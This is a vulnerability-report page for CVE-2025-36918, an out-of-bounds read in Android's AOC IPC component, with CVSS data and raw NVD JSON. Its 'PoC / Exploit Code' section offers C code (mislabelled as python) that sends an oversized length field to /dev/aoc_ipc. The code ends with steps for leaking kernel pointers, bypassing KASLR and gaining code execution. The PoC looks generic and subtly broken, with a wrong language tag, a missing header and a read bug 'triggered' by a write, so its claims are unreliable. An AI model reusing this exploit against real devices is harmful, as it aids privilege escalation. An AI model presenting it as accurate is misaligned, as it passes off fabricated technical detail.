Security Vulnerability Report
中文
CVE-2025-36918 CVSS 7.8 HIGH

CVE-2025-36918

Published: 2025-12-11 20:15:56
Last Modified: 2025-12-12 17:27:15

Description

In aoc_service_read_message of aoc_ipc_core.c, there is a possible out of bounds read due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Android Open Source Project - aoc_ipc_core.c (具体版本需参考2025-12-01安全补丁)
Google Pixel 设备 (受2025年12月安全更新影响的所有版本)
使用受影响AOC/IPC组件的Android设备

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36918 PoC - Local Privilege Escalation via AOC IPC // This PoC demonstrates the out-of-bounds read in aoc_service_read_message #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define AOC_IPC_DEVICE "/dev/aoc_ipc" #define MALICIOUS_MSG_SIZE 4096 int main() { printf("[*] CVE-2025-36918 PoC - AOC IPC Out-of-Bounds Read\n"); printf("[*] Target: aoc_service_read_message in aoc_ipc_core.c\n\n"); // Open AOC IPC device int fd = open(AOC_IPC_DEVICE, O_RDWR); if (fd < 0) { printf("[-] Failed to open AOC IPC device\n"); printf("[*] Note: This device may not exist on all devices\n"); printf("[*] The vulnerability exists in the AOC IPC service component\n"); return 1; } // Prepare malicious IPC message with oversized payload // The vulnerability occurs due to lack of input validation char malicious_msg[MALICIOUS_MSG_SIZE]; memset(malicious_msg, 0x41, MALICIOUS_MSG_SIZE); // Craft message header that triggers length check bypass // In vulnerable version, no proper bounds checking is performed *(uint32_t*)malicious_msg = 0xFFFFFFFF; // Oversized length field printf("[*] Sending malformed IPC message (size: %d)\n", MALICIOUS_MSG_SIZE); printf("[*] This triggers out-of-bounds read in aoc_service_read_message\n\n"); // Send malicious message to trigger vulnerability ssize_t ret = write(fd, malicious_msg, MALICIOUS_MSG_SIZE); if (ret > 0) { printf("[+] Message sent successfully\n"); printf("[*] Check system logs for memory dump or crash info\n"); printf("[*] Successful exploitation leads to System privilege escalation\n"); } else { printf("[-] Failed to send message\n"); } close(fd); return 0; } // Additional exploitation note: // After triggering OOB read, attacker can: // 1. Leak kernel pointers from memory // 2. Bypass KASLR via leaked addresses // 3. Overwrite sensitive structures for code execution

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36918", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:56.383", "lastModified": "2025-12-12T17:27:14.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In aoc_service_read_message of aoc_ipc_core.c, there is a possible out of bounds read due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}